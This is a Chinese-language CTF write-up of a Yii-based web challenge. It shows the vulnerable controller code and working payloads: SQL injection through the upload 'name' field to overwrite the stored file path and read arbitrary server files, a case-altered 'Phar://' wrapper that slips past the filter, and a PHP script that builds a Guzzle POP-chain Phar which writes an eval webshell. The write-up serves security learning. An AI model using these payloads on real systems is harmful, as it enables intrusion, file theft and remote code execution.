【鹏城杯】（WEB 450）Yii Framework

王一航 / 2018-12-06 06:50:00 / 浏览数 3902 安全技术 CTF 顶(0) 踩(0)

信息搜集：

题目地址：http://58.20.46.148:21333/

1. 目标使用 Yii 框架开发
2. 存在登录注册功能
3. 登录注册以后解锁新的功能：上传文件（upload）、显示文件（show）
   （contact 等其他功能为 Yii 脚手架自带，不需要太过关心）
4. 上传文件需要比正常的文件上传多提供一个参数 name
5. 显示文件不需要参数，如果正常上传一张图片则会直接显示这个图片，不需要添加参数，这个功能应该是调用了 php 的文件读取函数。有两点支撑这个观点：
   1. 路径中不需要指定文件名
      1. 用户和用户之间会隔离，浏览器隐身页面访问不到了
6. 存在 readme.md 提供了表结构，根据文件内容确定数据库为 sqlite3

```
CREATE TABLE IF NOT EXISTS "users" (
 "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
 "username" char(1024) NOT NULL,
 "password" char(1024) NOT NULL,
 "filepath" varchar(1024)
);
```

1. 上传文件功能多的参数 name 处存在注入，一个单引号即可触发，结合之前得到的表结构，猜想是让用户可以指定一个文件名用来保存，然后在访问 show 路由的时候从用户 session 中拿到 user 身份标识，然后从数据库中查找文件路径，然后读取出来响应给客户端
2. 上传成功后会显示服务器的一个相对路径

```
$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;
```

1. 猜测服务器会将 `$filepath` 作为文件名传入读取文件类的函数，如果 `$filepath` 可以任意控制的话就可以读取 php 文件了，但是题目检测 `$_POST['UploadForm[name]']` 中是不是存在 ph，如果存在上传失败。
2. 一个用户只能有一个 filepath，因此猜测上传功能肯定是一条 update 语句，因此存在"SQL 字段覆盖问题"（不知道这种说法是不是准确，笔者只是不知道如何描述这样的问题，姑且成为"字段覆盖"吧），更新的字段为 filepath，那如果传入多个 filepath 则最终生效的为最后一个，这样应该就可以通过绝对路径读取文件了，但是根据第七步推测到的伪代码，filepath 最后会加上 '.' 和上传文件的扩展名，这里的读取文件好像有点问题，暂时不能读取 php 文件，尝试读取 /etc/apt/sources.list 成功

```
UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.list
```

1. 既然可以多添加一个字段，再添加一个字段不就不用考虑后缀名的问题了

```
UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever

<VirtualHost *:80>
   ...
   ServerAdmin webmaster@localhost
   DocumentRoot /var/www/html/You_Cant_Gu3ss/web
   ...
</VirtualHost>
```

1. 得到 web 绝对路径并且可以任意文件读取之后就可以对照着 Yii 的脚手架代码来一步步下载源码了
   以下贴出关键代码

```
➜  controllers cat UsersController.php
<?php

namespace app\controllers;

use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
```

```
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;

/**
* UsersController implements the CRUD actions for Users model.
*/
class UsersController extends Controller
{

   public function actionFile()
   {
       if (!Yii::$app->session->get('id')) {
           return $this->redirect(['site/index']);
       }
       $model = new UploadForm();

       if (Yii::$app->request->isPost) {
           $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
           $model->name = Yii::$app->request->post('UploadForm')['name'];
           if ($path = $model->upload()) {
               $filename = $path;
               $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
               Yii::$app->db->createCommand($sql)->execute();
               \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$mode
               return $this->render('file', ['model' => $model]);
           }
       }

       return $this->render('file', ['model' => $model]);
   }

   public function actionShow(){
       if (!Yii::$app->session->get('id')) {
           return $this->redirect(['site/index']);
       }
       $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
       if (!$model->filepath){
           \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
           return $this->redirect(['file']);
       }
       if (substr($model->filepath, 0,7)=='phar://') {
           \Yii::$app->getSession()->setFlash('error', "no phar! ");
           return $this->redirect(['file']);
       }
       $content = @file_get_contents($model->filepath);
       header("Content-Type: image/jpeg;text/html; charset=utf-8");
       echo $content;
       exit;
   }
}
```

1. 判断了 filepath 是不是以 phar:// 开头，但是 php 在实现上读取文件的 wrapper name 是可以不区分大小写的

```
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
```

1. 回过头来想想，目前情景很符合对象注入的场景

1. ■■■■■■■ Gadget ■■■
2. ■■■■■■■■■■■■
3. ■■■■■■■■■■■■■■■

1. 根据代码其实也可以反应出来是 Phar 反序列漏洞
2. 根据提示 guzzle，在 composer.json 中得到 guzzle 的版本，搜索该版本的 Object Injection 即可

关键思路：

vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
■■■■■■■■■■■■■■■■■■■■■■■■ shell

1. 构造 POP 链
2. 生成以 POP 链为 Metadata 的 Phar 文件

```
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
   'Name' => 'foo',
   'Value' => 'bar',
   'Domain' => $payload,
   'Expires' => time()+0x100,
   'Discard' => false,
]);
$obj->setCookie($c);

$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);

$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
```

1. 上传 Phar 文件
2. 通过任意文件读取漏洞使用 Phar 协议读取触发反序列化操作写 Webshell

```
UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
```

1. 反序列化并成功标志为读取到 Phar 文件内容：`lilac`

坑点：

- php 序列化数据里面会有 `\x00` 所以复制的时候会被坑，应该直接写文件里
- Yii 脚手架的 ${ROOT}/web/assets 目录是可写的
- 关于如何构造 POP 链请见参考资料中第一条 PDF，近期看到的最棒的 Presentation 了（感谢 @夏殇 师傅推荐）

参考资料：

- https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf
- https://github.com/ambionics/phpggc
- https://paper.seebug.org/680/
- http://php.net/manual/en/language.oop5.decon.php

上一篇：使用机器学习检测混淆的命令行 下一篇：RWCTF-Magic Tunne...

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录